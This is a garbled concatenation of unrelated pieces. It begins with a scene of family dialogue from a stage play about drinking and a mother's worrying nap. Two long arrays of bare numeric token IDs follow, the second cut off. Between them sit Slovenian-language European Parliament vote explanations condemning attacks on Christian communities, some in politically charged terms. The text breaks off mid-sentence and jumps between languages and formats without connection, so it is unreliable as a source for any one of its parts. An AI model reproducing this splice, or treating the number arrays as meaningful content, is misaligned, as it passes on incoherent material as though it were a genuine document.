CATHLEEN It's a wonder your father wouldn't look at his watch once in a while. He's a divil for making the meals late, and then Bridget curses me as if I was to blame. But he's a grand handsome man, if he is old. You'll never see the day you're as good looking—nor Mister Jamie, either. _She chuckles._ I'll wager Mister Jamie wouldn't miss the time to stop work and have his drop of whiskey if he had a watch to his name! ### EDMUND _Gives up trying to ignore her and grins._ You win that one. ### CATHLEEN And here's another I'd win, that you're making me call them so you can sneak a drink before they come. ### EDMUND Well, I hadn't thought of that— ### CATHLEEN Oh no, not you! Butter wouldn't melt in your mouth, I suppose. ### EDMUND But now you suggest it— ### CATHLEEN _Suddenly primly virtuous._ I'd never suggest a man or a woman touch drink, Mister Edmund. Sure, didn't it kill an uncle of mine in the old country. _Relenting._ Still, a drop now and then is no harm when you're in low spirits, or have a bad cold. ### EDMUND Thanks for handing me a good excuse. _Then with forced casualness._ You'd better call my mother, too. ### CATHLEEN What for? She's always on time without any calling. God bless her, she has some consideration for the help. ### EDMUND She's been taking a nap. ### CATHLEEN She wasn't asleep when I finished my work upstairs a while back. She was lying down in the spare room with her eyes wide open. She'd a terrible headache, she said. ### EDMUND _His casualness more forced._ Oh well then, just call my father. ### CATHLEEN _Goes to the screen door, grumbling good-naturedly._ No wonder my feet kill me each night. I won't walk out in this heat and get sunstroke. I'll call from the porch. _She goes out on the side porch, letting the screen door slam behind her, and disappears on her way to the front porch. A moment later she is heard shouting._ Mister Tyrone! Mister Jamie! It's time! _Edmund, who has been staring frightenedly before him, forgetting his book, springs to his feet nervously._ ### EDMUND God, what a wench! _He grabs the bottle and pours a drink, adds ice water and drinks. As he does so, he hears someone coming in the front door. He puts the glass hastily on the tray and sits down again, opening his book. Jamie comes in from the front parlor, his coat over his arm. He has taken off collar and tie and carries them in his hand. He is wiping sweat from his forehead with a handkerchief. Edmund looks up as if his reading was interrupted. Jamie takes one look at the bottle and glasses and smiles cynically._ ### JAMIE Sneaking one, eh? Cut out the bluff, Kid. You're a rottener actor than I am. ### EDMUND _Grins._ Yes, I grabbed one while the going was good. ### JAMIE _Puts a hand affectionately on his shoulder._ That's better. Why kid me? We're pals, aren't we? ### EDMUND I wasn't sure it was you coming. ### JAMIE I made the Old Man look at his watch. I was halfway up the walk when Cathleen burst into song. Our wild Irish lark! She ought to be a train announcer. ### EDMUND That's what drove me to drink. Why don't you sneak one while you've got a chance? ### JAMIE I was thinking of that little thing. _He goes quickly to the window at right._ The Old Man was talking to old Captain Turner. Yes, he's still at it. _He comes back and takes a drink._ And now to cover up from his eagle eye. He memorizes the level in the bottle after every drink. _He measures two drinks of water and pours them in the whiskey bottle and shakes it up._ There. That fixes it. _He pours water in the glass and sets it on the table by Edmund._ And here's the water you've been drinking. ### EDMUND Fine! You don't think it will fool him, do you? ### JAMIE Maybe not, but he can't prove it. _Putting on his collar and tie._ I hope he doesn't forget lunch listening to himself talk. I'm hungry. _He sits across the table from Edmund—irritably._ That's what I hate about working down in front. He puts on an act for every damned fool that comes along. ### EDMUND _Gloomily._ You're in luck to be hungry. The way I feel I don't care if I ever eat again. ### JAMIE _Gives him a glance of concern._ Listen, Kid. You know me. I've never lectured you, but Doctor Hardy was right when he told you to cut out the redeye. ### EDMUND Oh, I'm going to after he hands me the bad news this afternoon. A few before then won't make any difference. ### JAMIE _Hesitates—then slowly._ I'm glad you've got your mind prepared for bad news. It won't be such a jolt. _He catches Edmund staring at him._ I mean, it's a cinch you're really sick, and it would be wrong dope to kid yourself. ### EDMUND _Disturbed._ I'm not. I know how rotten I feel, and the fever and chills I get at night are no joke. I think Doctor Hardy's last guess was right. It must be the damned malaria come back on me. ### JAMIE Maybe, but don't be too sure. ### EDMUND Why? What do you think it is? ### JAMIE Hell, how would I know? I'm no Doc. _Abruptly._ Where's Mama? ### EDMUND Upstairs. ### JAMIE _Looks at him sharply._ When did she go up? ### EDMUND Oh, about the time I came down to the hedge, I guess. She said she was going to take a nap. ### JAMIE You didn't tell me— ### EDMUND _Defensively._ Why should I? What about it? She was tired out. She didn't get much sleep last night. ### JAMIE I know she didn't. _A pause. The brothers avoid looking at each other._ ### EDMUND That damned foghorn kept me awake, too. _Another pause._ ### JAMIE She's been upstairs alone all morning, eh? You haven't seen her? ### EDMUND No. I've been reading here. I wanted to give her a chance to sleep. ### JAMIE Is she coming down to lunch? ### EDMUND Of course. ### JAMIE _Dryly._ No of course about it. She might not want any lunch. Or she might start having most of her meals alone upstairs. That's happened, hasn't it? ### EDMUND _With frightened resentment._ Cut it out, Jamie! Can't you think anything but—? _Persuasively._ You're all wrong to suspect anything. Cathleen saw her not long ago. Mama didn't tell her she wouldn't be down to lunch. ### JAMIE Then she wasn't taking a nap? ### EDMUND Not right then, but she was lying down, Cathleen said. ### JAMIE In the spare room? ### EDMUND Yes. For Pete's sake, what of it? ### JAMIE _Bursts out._ You damned fool! Why did you leave her alone so long? Why didn't you stick around? ### EDMUND Because she accused me—and you and Papa—of spying on her all the time and not trusting her. She made me feel ashamed. I know how rotten it must be for her. And she promised on her sacred word of honor

[ 536, 303, 23933, 442, 33745, 297, 19422, 324, 729, 5549, 1888, 413, 1629, 484, 79, 28074, 2963, 91, 400, 312, 13, 4204, 268, 710, 7090, 23246, 256, 5711, 6362, 2235, 91, 796, 6148, 6362, 20244, 1182, 356, 302, 580, 77, 17551, 5173, 1182, 6597, 35687, 422, 2485, 275, 1484, 7090, 750, 729, 614, 2485, 945, 296, 6156, 1888, 5985, 73, 1629, 484, 79, 28074, 362, 295, 75, 6356, 729, 6356, 1837, 9124, 580, 1240, 275, 4204, 21526, 76, 1432, 7326, 43498, 303, 23263, 13409, 297, 1888, 5985, 73, 1629, 484, 79, 28074, 1182, 356, 302, 729, 32187, 258, 36899, 2369, 945, 41752, 275, 246, 6719, 2369, 44370, 302, 518, 35687, 400, 493, 246, 18956, 13, 4204, 598, 80, 7326, 442, 87, 23246, 691, 306, 27509, 28074, 13, 288, 465, 727, 303, 594, 396, 27650, 1182, 45836, 8952, 5549, 1129, 27380, 351, 25476, 2235, 91, 8885, 7326, 7090, 86, 15, 187, 41062, 363, 518, 375, 353, 580, 1406, 1479, 16328, 187, 44, 302, 30177, 74, 7360, 5378, 13431, 23263, 26617, 76, 710, 268, 3385, 547, 465, 302, 546, 3604, 7687, 1565, 293, 75, 1173, 5549, 7326, 70, 2314, 2804, 15, 25403, 413, 268, 3385, 547, 594, 44370, 293, 75, 400, 1448, 716, 2314, 2804, 13, 1182, 4611, 396, 1182, 580, 91, 358, 13431, 20244, 295, 75, 6356, 19975, 465, 250, 3784, 87, 15, 21048, 351, 5985, 691, 1766, 9124, 74, 7090, 86, 13, 20846, 594, 8718, 484, 317, 1944, 40993, 256, 587, 638, 5914, 587, 6429, 7326, 80, 362, 465, 376, 7589, 416, 478, 536, 5916, 284, 80, 5549, 8718, 484, 343, 266, 358, 330, 532, 579, 13, 594, 268, 3385, 66, 256, 3358, 5503, 15, 7055, 7090, 26092, 275, 295, 75, 6736, 8718, 484, 317, 1944, 32518, 3273, 75, 32518, 24901, 87, 1432, 682, 5549, 1448, 86, 330, 532, 376, 7360, 10709, 7326, 7381, 8718, 484, 317, 32187, 1837, 9124, 580, 8311, 4109, 263, 478, 358, 275, 9040, 287, 9124, 682, 268, 3385, 31792, 570, 465, 2198, 75, 1351, 13, 23933, 70, 1182, 6275, 74, 759, 7326, 7090, 4173, 330, 532, 83, 7090, 46964, 650, 7326, 413, 2485, 687, 563, 13, 25130, 594, 23933, 70, 27723, 8952, 21526, 15, 187, 36751, 14, 22434, 36912, 5025, 348, 251, 187, 8816, 75, 16047, 266, 5173, 396, 76, 792, 478, 785, 362, 2719, 538, 965, 5985, 6743, 27520, 1182, 1432, 8895, 2343, 7090, 614, 87, 260, 9314, 306, 7687, 1837, 9124, 1123, 15, 15315, 7090, 74, 18504, 706, 19095, 20229, 74, 275, 24901, 376, 9124, 266, 6362, 1670, 250, 15, 25403, 7381, 13332, 300, 5173, 24901, 87, 8432, 24901, 4370, 2056, 478, 785, 13, 25130, 5139, 1390, 257, 362, 6017, 2336, 312, 15, 1503, 4611, 2298, 13431, 298, 6881, 74, 23933, 7090, 262, 15208, 2063, 13332, 300, 38239, 13, 25130, 23646, 268, 19356, 75, 23246, 1670, 250, 15, 18223, 75, 538, 803, 433, 25476, 86, 1629, 77, 547, 6148, 7589, 5549, 1182, 4213, 7090, 968, 7381, 716, 263, 32187, 346, 1033, 412, 2960, 5079, 478, 317, 1944, 3, 275, 5549, 425, 41134, 74, 7090, 570, 492, 22940, 306, 45470, 10424, 7326, 413, 260, 9314, 306, 268, 4034, 74, 281, 6290, 264, 23353, 20244, 384, 46261, 2963, 15695, 7326, 85, 22053, 7589, 1888, 413, 18504, 706, 853, 2963, 362, 6017, 256, 14763, 86, 275, 2963, 20244, 7326, 7090, 15208, 2336, 86, 5309, 7090, 6356, 803, 482, 91, 47835, 2063, 7989, 255, 478, 19475, 15, 4051, 284, 19249, 13962, 1182, 266, 75, 13, 24901, 594, 7090, 307, 6362, 275, 24901, 638, 3225, 7090, 266, 6362, 15, 187, 47, 26162, 8359, 80, 187, 38, 1216, 7311, 7090, 2369, 2298, 13431, 18373, 351, 15208, 362, 339, 19422, 796, 5549, 36407, 7326, 7090, 507, 413, 1629, 484, 79, 28074, 2963, 256, 14763, 86, 13, 23933, 70, 1182, 6275, 74, 362, 3723, 363, 5985, 13, 13063, 27520, 275, 5549, 378, 965, 9124, 79, 38239, 362, 20122, 351, 86, 15, 43869, 343, 22289, 5173, 716, 73, 24901, 11022, 729, 15178, 83, 16077, 28074, 13, 638, 1247, 17551, 6362, 275, 13332, 300, 6362, 33078, 1629, 484, 41752, 7373, 5139, 1182, 1945, 83, 1559, 7589, 5309, 7090, 70, 15, 473, 31421, 74, 362, 716, 73, 1837, 9124, 580, 1240, 396, 2963, 45520, 33338, 75, 7326, 6356, 5497, 7090, 11430, 492, 438, 32187, 7687, 41134, 74, 43100, 300, 336, 275, 7687, 12312, 9584, 20244, 19422, 796, 5549, 36407, 7326, 7090, 507, 413, 1629, 484, 79, 28074, 15, 18668, 12312, 9584, 20244, 716, 19422, 796, 275, 20244, 2854, 66, 13332, 300, 2072, 372, 17551, 6362, 3861, 74, 465, 2198, 17551, 297, 5139, 2578, 5830, 2063, 8657, 687, 5985, 268, 3385, 547, 275, 480, 6356, 268, 3385, 74, 7090, 2369, 18373, 351, 15208, 15, 187, 1898, 250, 284, 353, 38095, 8260, 187, 87, 268, 261, 8311, 691, 965, 5985, 15, 428, 313, 2573, 10, 1503, 580, 91, 11155, 5173, 5635, 33840, 413, 440, 32583, 20244, 1888, 7381, 18504, 706, 19095, 1775, 80, 1182, 6290, 264, 7588, 13065, 513, 8625, 75, 15, 43869, 70, 1182, 6275, 74, 362, 310, 77, 1317, 5985, 73, 1837, 9124, 580, 1240, 5828, 6362, 13, 4204, 5139, 465, 2198, 75, 1351, 268, 729, 6017, 13548, 461, 2369, 638, 1247, 75, 8657, 275, 268, 462, 39337, 17155, 80, 2298, 15208, 15, 4386, 21814, 6356, 7753, 91, 729, 262, 6356, 21721, 961, 1240, 1349, 8215, 13, 362, 91, 6584, 7326, 6736, 1629, 484, 41752, 362, 433, 1439, 13, 45520, 306, 7090, 76, 9296, 458, 362, 77, 6881, 2369, 14008, 7090, 74, 15, 11437, 223, 26617, 76, 6563, 339, 91, 324, 79, 5173, 513, 4193, 362, 35879, 13, 4204, 2314, 74, 7090, 8311, 1045, 15208, 362, 2652, 316, 77, 7589, 13, 25130, 396, 425, 1821, 74, 20244, 36407, 7326, 7090, 507, 413, 465, 15077, 460, 5635, 287, 365, 13, 13065, 2304, 12389, 74, 20244, 441, 19095, 465, 2198, 17551, 729, 362, 310, 77, 1317, 5985, 73, 1837, 9124, 580, 1240, 15, 20635, 22055, 4204, 1794, 20244, 384, 1173, 8952, 13, 45520, 396, 638, 1247, 17551, 5173, 465, 2198, 17551, 729, 17022, 7090, 66, 13, 396, 1182, 366, 76, 13431, 362, 2314, 74, 7090, 2369, 465, 410, 5751, 41752, 275, 396, 1218, 5173, 803, 306, 7090, 13431, 787, 356, 579, 1948, 2815, 46964, 13, 25130, 19888, 400, 32187, 362, 8215, 275, 1484, 9124, 400, 23246, 1888, 7381, 18504, 706, 19095, 13, 258, 465, 518, 83, 7326, 8311, 826, 73, 7381, 1670, 7090, 1758, 465, 2198, 17551, 729, 362, 310, 77, 1317, 76, 358, 256, 14763, 86, 458, 7699, 6362, 15, 187, 55, 2235, 73, 351, 79, 5173, 2298, 66, 2372, 74, 492, 446, 22289, 5173, 465, 2198, 17551, 729, 24901, 2845, 257, 372, 20304, 16825, 2235, 16811, 17551, 7589, 1182, 328, 266, 75, 554, 311, 15208, 7090, 24645, 7687, 23047, 729, 8215, 1182, 310, 77, 1317, 76, 23611, 1837, 9124, 580, 7588, 15, 8215, 516, 66, 5549, 1936, 5309, 513, 8625, 75, 1721, 74, 275, 5549, 7090, 249, 729, 20244, 24901, 33338, 75, 7326, 266, 5173, 877, 80, 9124, 22779, 465, 2198, 17551, 729, 15, 39194, 5711, 75, 2072, 268, 19216, 7090, 275, 43403, 463, 691, 3022, 1442, 266, 7090, 570, 268, 19216, 7090, 74, 1794, 43812, 2372, 74, 5549, 16086, 268, 462, 13511, 1751, 1182, 1182, 356, 302, 580, 77, 17551, 38239, 1888, 413, 18504, 706, 853, 465, 2198, 17551, 297, 15, 1503, 4611, 3300, 1289, 284, 19249, 1565, 86, 2248, 1808, 80, 15, 187, 2019, 22172, 353, 2061, 11924, 187, 37, 6597, 3300, 7687, 4213, 7090, 2369, 1289, 284, 19249, 20244, 18373, 351, 2399, 13332, 300, 6362, 33078, 36407, 7326, 7090, 507, 76, 23611, 1629, 484, 41752, 7373, 275, 1888, 76, 23611, 637, 75, 7326, 249, 7588, 15, 187, 52, 5367, 7326, 85, 22053, 5173, 23263, 26617, 17131, 6356, 268, 3385, 280, 275, 1888, 413, 18504, 706, 853, 2298, 66, 2372, 74, 1565, 293, 75, 8311, 465, 18986, 5549, 7326, 6356, 7687, 23047, 729, 1182, 2854, 23611, 1837, 9124, 580, 7588, 15, 473, 36899, 2369, 3300, 24901, 76, 316, 300, 10709, 7326, 7381, 8718, 484, 317, 32187, 1917, 570, 2485, 330, 532, 376, 13, 2063, 465, 727, 80, 4927, 5635, 1658, 66, 1182, 255, 23951, 258, 7090, 74, 13, 23263, 554, 3385, 5139, 330, 24277, 1837, 9124, 2623, 23263, 13409, 3737, 15, 6897, 8718, 484, 343, 266, 358, 330, 532, 579, 5139, 1670, 7090, 1758, 15733, 413, 87, 42015, 7090, 6736, 13, 465, 532, 74, 256, 14763, 47835, 594, 24901, 78, 8952, 7090, 29571, 13, 5549, 1766, 9124, 74, 7090, 8311, 16447, 1349, 594, 10709, 7326, 5985, 3273, 75, 11938, 638, 3456, 7090, 3093, 6429, 7326, 1173, 266, 5173, 362, 277, 32731, 268, 3385, 31792, 24645, 260, 9314, 87, 1240, 15, 187, 37, 6597, 594, 362, 425, 46035, 28074, 5549, 7326, 66, 18504, 706, 17457, 13, 1349, 246, 36460, 9982, 13511, 465, 7546, 275, 5549, 7090, 1758, 19888, 400, 77, 22289, 6362, 13, 25130, 1565, 293, 75, 5741, 5549, 4847, 307, 25476, 362, 433, 1439, 257, 7589, 23263, 26617, 76, 710, 258, 339, 15453, 28074, 13, 546, 518, 28074, 362, 339, 73, 2063, 1837, 9124, 41231, 13, 546, 518, 6356, 268, 3385, 280, 1240, 19888, 561, 76, 13, 1471, 536, 8306, 27520, 275, 43403, 9124, 7564, 74, 268, 3385, 74, 7090, 79, 28074, 15, 187, 43356, 4530, 15178, 83, 16077, 493, 5139, 27685, 2369, 268, 462, 493, 24130, 7326, 74, 2963, 20304, 362, 21721, 965, 7090, 24645, 1448, 6356, 18504, 1464, 13, 3405, 7326, 8311, 19422, 11282, 5549, 465, 2198, 75, 1351, 362, 444, 7311, 431, 86, 275, 8831, 13312, 362, 1182, 324, 43498, 6356, 28263, 24645, 1349, 594, 458, 45520, 79, 710, 75, 7326, 74, 425, 46035, 74, 24901, 5744, 74, 425, 46035, 28074, 13, 25130, 3371, 268, 729, 91, 287, 7090, 66, 4109, 263, 478, 358, 1629, 43792, 570, 9124, 1173, 15, 657, 9245, 362, 5635, 1658, 74, 2298, 13431, 7687, 4025, 74, 258, 7090, 74, 275, 372, 20304, 2369, 803, 21529, 9900, 74, 20244, 20244, 7326, 7090, 7067, 1888, 413, 18504, 706, 853, 15, 187, 2422, 17408, 80, 42745, 531, 187, 9379, 44370, 580, 24645, 19422, 324, 6356, 5549, 36407, 7326, 7090, 507, 413, 1629, 484, 79, 28074, 362, 444, 7311, 431, 86, 13, 32345, 27520, 13, 8831, 13312, 275, 13115, 86, 5139, 612, 33840, 7381, 803, 433, 22053, 5173, 8794, 75, 2369, 275, 8215, 5139, 281, 638, 1247, 17551, 5173, 27723, 287, 18373, 351, 8807, 4109, 396, 6399, 75, 7687, 91, 1208, 66, 638, 76, 1649, 3136, 2063, 296, 580, 40199, 20244, 1182, 328, 266, 5173, 1182, 796, 306, 275, 945, 41752, 2369, 2314, 20592, 15, 4051, 284, 19249, 3300, 20244, 37732, 1028, 32187, 258, 877, 80, 9124, 49386, 465, 2198, 17551, 729, 362, 1182, 306, 9877, 256, 18504, 706, 19095, 2336, 80, 478, 81, 3149, 74, 13, 618, 75, 1821, 303, 13, 4204, 396, 19888, 267, 256, 250, 7090, 10441, 43208, 1182, 19422, 11282, 5549, 36407, 7326, 7090, 266, 296, 5711, 2963, 362, 6017, 256, 14763, 86, 13, 2235, 716, 73, 19422, 324, 6356, 1349, 1888, 7381, 13332, 300, 5173, 1499, 86, 9124, 74, 2314, 74, 7090, 79, 303, 9557, 257, 297, 13, 1182, 29365, 266, 7589, 391, 41376, 275, 19422, 433, 4530, 13, 7360, 2059, 73, 22053, 7589, 594, 87, 376, 7326, 85, 6156, 362, 43403, 9124, 4193, 275, 1218, 12408, 17551, 7589, 43403, 9124, 67, 1751, 1484, 12289, 306, 362, 1837, 9124, 580, 1240, 13, 465, 28133, 396, 19422, 11282, 4370, 1432, 23246, 15, 1503, 4611, 3300, 638, 3225, 7090, 266, 13, 4204, 2298, 66, 5635, 1658, 66, 13, 25130, 396, 1182, 580, 91, 8895, 20244, 23263, 26617, 76, 710, 268, 3385, 547, 275, 1837, 9124, 580, 35687, 507, 413, 4109, 1471, 536, 83, 8657, 7090, 570, 18504, 34549, 7326, 7090, 460, 13, 7687, 4213, 7090, 2369, 18373, 351, 15208, 716, 13332, 300, 570, 19422, 796, 13, 25130, 1721, 1886, 23246, 256, 14763, 20244, 4806, 1059, 6362, 362, 638, 442, 7261, 493, 275, 21721, 1559, 27497, 23246, 5497, 9124, 79, 28074, 20244, 1129, 76, 503, 662, 74, 10756, 13, 1213, 16077, 493, 13, 391, 505, 275, 43403, 9124, 7564, 80, 787, 356, 493, 266, 5173, 15, 187, 35848, 3783, 367, 3682, 1479, 6836, 276, 187, 87, 268, 261, 8311, 691, 965, 5985, 15, 428, 313, 3887, 10, 4051, 284, 19249, 3300, 20244, 37732, 1028, 32187, 258, 877, 80, 9124, 49386, 465, 2198, 17551, 729, 362, 1182, 306, 9877, 256, 18504, 706, 19095, 2336, 80, 478, 81, 3149, 74, 15, 8229, 484, 2072, 37732, 1028, 26092, 2963, 19422, 324, 86, 5549, 2336, 79, 2804, 1129, 691 ]

okim številom napadov na verske skupnosti pozivam, da povečajo svoja prizadevanja za zagotavljanje zanesljivega in učinkovitega varstva verskih skupnosti v njihovih državah in da tamkajšnjim članom verskih skupnosti zagotovijo osebno varnost in telesno nedotakljivost tako, da upoštevajo obveznosti, h katerim so se že zavezali na mednarodnem prizorišču. Kyriakos Mavronikolas Kot socialisti podpiramo človekove pravice kot enega od temeljev naše politike. Verske pravice so nedeljiv del te politike, zato se zavzemamo za njihovo krepitev. Dogodki ob božiču, ko so okupacijske sile prekinile mašo v kraju Rizokarpaso na okupiranem Cipru, so prava sramota. Turčija in njena okupacijska vojska izvajata na delu Cipra pod turško okupacijo državni terorizem in ogrožata pravoslavne kristjane, še zlasti peščico Ciprčanov grškega rodu, ki so še ostali tam. Jean-Luc Mélenchon Pojmovanje sekularizma v Republiki Franciji zajema ločitev cerkve od države. Jamči svobodo vesti in izražanja vere. Versko nasilje izvira iz dogmatizma, ki je lasten vsem veram. Zato moramo ljudi ščititi pred nasiljem, ki ga poganjajo vere. Kljub posrednemu sklicevanju na zločinsko teorijo "spopada civilizacij" in na nekritične trditve katoliške cerkve pomeni to besedilo zahtevo po spoštovanju verske svobode po vsem svetu in po zaščiti verujočih posameznikov pred fanatizmom. Glasoval bom zanj, iz sočutja in iz prepričanja. Nuno Melo Energično moramo obsoditi vse napade na krščanske skupnosti po svetu, še zlasti v Afriki, Aziji in na Bližnjem vzhodu. Širjenje teh izpadov nestrpnosti, preganjanja in nasilja nad skupnostmi je zaskrbljujoče. Oblasti v teh državah se po najboljših močeh trudijo odkriti storilce in odgovorne za napade na krščanske skupnosti. Odgovorne za te napade in za druga nasilna dejanja proti kristjanom je treba predati roki pravice in jih pravično obsoditi. Andreas Mölzer v pisni obliki. - (DE) Zavzemanje Evropske unije za versko svobodo samo z besedami ni dovolj. Še zlasti v islamskih državah velja, da je kristjane povsem dopustno preganjati in pogosto celo moriti. Ob takih grozovitih razmerah pa EU, vzvišena skupnost vrednot, največkrat le vljudno molči. Človek navsezadnje dobi vtis, da politični eliti v Bruslju, ki se ne meni za krščanske korenine Evrope, ni mar niti za usodo kristjanov v islamskih državah. Namesto da bi zahtevali, naj se preganjanje kristjanov konča, se zatekamo v politično korektnost in se raje posvečamo blagru muslimanov, ki živijo v EU in uživajo versko svobodo, o kakršni lahko večina kristjanov v islamskem svetu le sanja. V prihodnje mora biti trpljenje kristjanov izrecen dejavnik pri urejanju zunanjepolitičnih odnosov EU z islamskimi državami. EU ima na voljo dovolj poti in načinov za izboljšanje položaja kristjanov. Razvojna pomoč in druge oblike finančne pomoči bi morale biti na primer pogojene z zagotavljanjem verske svobode kristjanom. Zato sem glasoval temu primerno. Claudio Morganti Danes sem odločno glasoval za obsodbo nasilja nad krščanskimi skupnostmi in verskimi manjšinami. Spoštovanje človekovih pravic in verske svobode mora biti temeljni kamen naših odnosov z drugimi državami. Osebno sem izkusil turško okupacijo severnega Cipra, pred katero si Evropa zatiska oči, čeprav je Ciper država članica. Na okupiranem Cipru je večina cerkev uničena, kipi svetnikov so izmaličeni, na božični dan pa so turški vojaki preprečili maševanje v dveh pravoslavnih cerkvah. Danes so v nevarnosti naša svoboda, pa tudi obstoj kulture in načina življenja, ki temeljita na absolutnem vrednotenju človekove osebnosti, enakosti vseh pred državo, enakih pravicah žensk, demokraciji in družbeni pravičnosti. Verska nestrpnost je vedno pogostejši pojav v različnih delih sveta, strašni napadi na kristjane v Egiptu in Iraku v zadnjih tednih pa so le najnovejši nevarni izrazi nevarnosti, ki jo povzroča terorizem skrajnežev. Vsi v Evropi moramo odpreti oči in dejavno poskrbeti za zaščito verske svobode. Alfredo Pallone Ob nedavnih napadih na krščanske skupnosti v Egiptu, Nigeriji, Iraku in Pakistanu je evropsko posredovanje nujno in EU je to preganjanje ostro obsodila ter se nanj odzvala prek visoke predstavnice za zunanje zadeve in varnostno politiko. Glasoval sem za resolucijo o položaju kristjanov v zvezi s svobodo veroizpovedi, saj menim, da se žal srečujemo z napadi na krščanstvo po vsem svetu, pri teh napadih pa versko nasilje služi političnim namenom, zaviranju rasti in napredka, podpihovanju sovraštva v družbi in rahljanju družbene ureditve v državah, kjer se napadi dogajajo. Zato sem prepričan, da mora Evropa, ki se zavzema za človekove pravice in državljanske ter demokratične svoboščine, odločno obsoditi te nasilne napade, ki potiskajo svet za stoletja v preteklost in razblinjajo možnosti za medkulturni dialog, strpnost, rast in družbeno blagostanje. Georgios Papanikolaou v pisni obliki. - (EL) Glasoval sem za resolucijo o položaju kristjanov v zvezi s svobodo veroizpovedi. Skupna resolucija po napadu na vernike med ob

[ 2217, 13, 7293, 327, 534, 19676, 1332, 368, 971, 281, 897, 13, 10669, 19676, 310, 751, 27, 187, 2948, 24896, 6849, 27, 187, 4064, 1551, 64, 13149, 15, 1920, 384, 5097, 1395, 6849, 187, 187, 7461, 4853, 247, 9688, 751, 27, 187, 6434, 9, 83, 46628, 20348, 27781, 1383, 6849, 15, 706, 14721, 64, 14399, 64, 13763, 10, 187, 187, 37411, 368, 1849, 6283, 4561, 21761, 327, 861, 598, 15, 50276, 1552, 8692, 310, 512, 275, 253, 19676, 2593, 273, 253, 10710, 39, 27586, 15, 187, 2042, 368, 1472, 21629, 1227, 32139, 342, 4384, 3988, 13, 5046, 41747, 14, 1120, 14, 14399, 390, 247, 2074, 15191, 310, 253, 1039, 281, 564, 323, 368, 15, 535, 30985, 598, 253, 1273, 2199, 273, 2434, 7105, 2419, 281, 13329, 20549, 187, 187, 2422, 14, 10297, 31569, 64, 3063, 13, 253, 27293, 2419, 275, 253, 5054, 9353, 13, 27312, 281, 253, 5079, 5286, 273, 1219, 14, 10297, 31569, 13, 873, 598, 247, 747, 2199, 281, 13329, 253, 20549, 13, 352, 369, 7429, 313, 38, 484, 6285, 684, 16901, 582, 835, 253, 15572, 273, 253, 5079, 13500, 273, 1219, 14, 10297, 31569, 665, 789, 275, 5054, 1673, 11612, 253, 5909, 673, 15, 187, 187, 6436, 13, 253, 2199, 2908, 1133, 11072, 13, 36787, 13, 44383, 27023, 13, 7968, 285, 40890, 15, 187, 187, 10457, 253, 5909, 16730, 13, 690, 1160, 6519, 13, 581, 273, 731, 369, 253, 820, 14, 21689, 273, 253, 5054, 9353, 313, 34, 35249, 1219, 14, 52, 335, 25884, 10, 835, 344, 31637, 326, 253, 4736, 273, 8109, 824, 6493, 310, 281, 8416, 253, 20549, 13, 6684, 253, 5054, 4112, 273, 253, 2919, 285, 4933, 7445, 4839, 281, 1329, 253, 19303, 5697, 27576, 275, 1340, 281, 8162, 275, 5948, 2440, 15, 187, 187, 1147, 4409, 29570, 326, 253, 1180, 273, 35029, 273, 436, 2199, 403, 3435, 2255, 285, 374, 1821, 13, 1223, 1903, 36787, 10679, 403, 4704, 323, 789, 13, 835, 1016, 3416, 588, 452, 697, 1211, 36787, 13, 44383, 2987, 2866, 395, 643, 1133, 43021, 15, 187, 187, 6436, 13, 253, 27293, 2419, 5907, 752, 310, 3058, 281, 8027, 253, 2199, 326, 697, 12851, 14125, 281, 697, 5820, 13, 347, 3517, 347, 597, 608, 6, 273, 11528, 13, 352, 588, 320, 908, 281, 1329, 643, 6493, 15, 8417, 3299, 285, 6728, 27, 625, 3533, 685, 9172, 15, 187, 35, 531, 6695, 15716, 4324, 313, 8417, 3724, 10, 5663, 281, 253, 18785, 14, 5346, 2221, 11807, 285, 497, 806, 6888, 347, 13741, 5961, 25641, 21790, 323, 616, 3745, 281, 10808, 990, 9217, 1544, 5961, 4702, 13, 45269, 5961, 4702, 285, 17681, 8706, 15, 329, 638, 358, 14622, 2554, 273, 37985, 7601, 275, 16743, 1453, 273, 894, 1511, 17776, 13, 9827, 285, 1963, 8258, 310, 671, 973, 4232, 15, 3010, 4102, 13, 247, 2554, 323, 15334, 3724, 275, 6782, 4408, 25641, 556, 3053, 1146, 4950, 15, 3308, 13, 747, 2175, 921, 326, 15334, 3724, 14368, 1142, 7842, 4870, 824, 347, 9489, 13, 10596, 13, 9827, 285, 10346, 275, 1142, 7944, 285, 15384, 15, 1284, 247, 9936, 13, 7915, 11973, 273, 37985, 2425, 476, 452, 18977, 9099, 13, 285, 627, 310, 17808, 1941, 323, 253, 10171, 273, 15334, 3724, 275, 1027, 1966, 6578, 15, 496, 436, 2278, 13, 359, 452, 7106, 327, 10405, 3006, 253, 1246, 3640, 327, 253, 17200, 273, 15334, 3724, 275, 6728, 32337, 285, 42405, 13, 432, 253, 973, 14, 35477, 2554, 275, 6728, 2440, 281, 253, 14149, 7680, 281, 253, 1159, 285, 12909, 273, 253, 6782, 6728, 15, 3900, 642, 24626, 1646, 281, 6054, 670, 253, 10545, 4712, 273, 15334, 3724, 327, 10761, 9130, 275, 253, 6728, 13, 2442, 354, 14, 285, 3270, 14, 36240, 41508, 285, 37486, 280, 5231, 588, 2779, 320, 247, 2647, 273, 8881, 1309, 3551, 1107, 15, 22729, 1242, 13, 253, 789, 1060, 3559, 3400, 253, 3720, 281, 1908, 15334, 3724, 347, 2442, 8571, 273, 7268, 275, 6728, 6578, 15, 3122, 8283, 313, 36, 10, 10226, 13, 8878, 13, 8441, 13, 8210, 7648, 9107, 6807, 13, 3690, 15, 187, 50275, 1552, 1873, 310, 629, 273, 253, 11963, 330, 11397, 15, 535, 50275, 510, 11963, 330, 11397, 310, 1959, 3694, 28, 368, 476, 25529, 352, 285, 16, 263, 187, 50275, 2307, 1419, 352, 762, 253, 2426, 273, 253, 11963, 32425, 4214, 5259, 187, 50275, 17736, 347, 3863, 407, 253, 7648, 9107, 6807, 28, 2057, 187, 50275, 4149, 374, 15, 18, 273, 253, 4637, 13, 390, 313, 255, 634, 4500, 10, 667, 1996, 2715, 15, 535, 50275, 510, 11963, 330, 11397, 310, 5939, 275, 253, 3524, 326, 352, 588, 320, 4217, 13, 187, 50275, 2858, 15002, 9103, 23181, 28, 1293, 1014, 253, 10466, 17529, 273, 187, 50275, 38097, 20386, 390, 20524, 6651, 329, 20383, 20103, 15, 50276, 5035, 253, 11963, 187, 50275, 28274, 254, 4214, 5259, 4637, 323, 625, 4278, 15, 535, 50275, 1394, 943, 452, 2959, 247, 3491, 273, 253, 11963, 32425, 4214, 5259, 187, 50275, 17736, 2112, 342, 253, 11963, 330, 11397, 28, 604, 417, 13, 3630, 281, 253, 7648, 187, 50275, 31495, 6807, 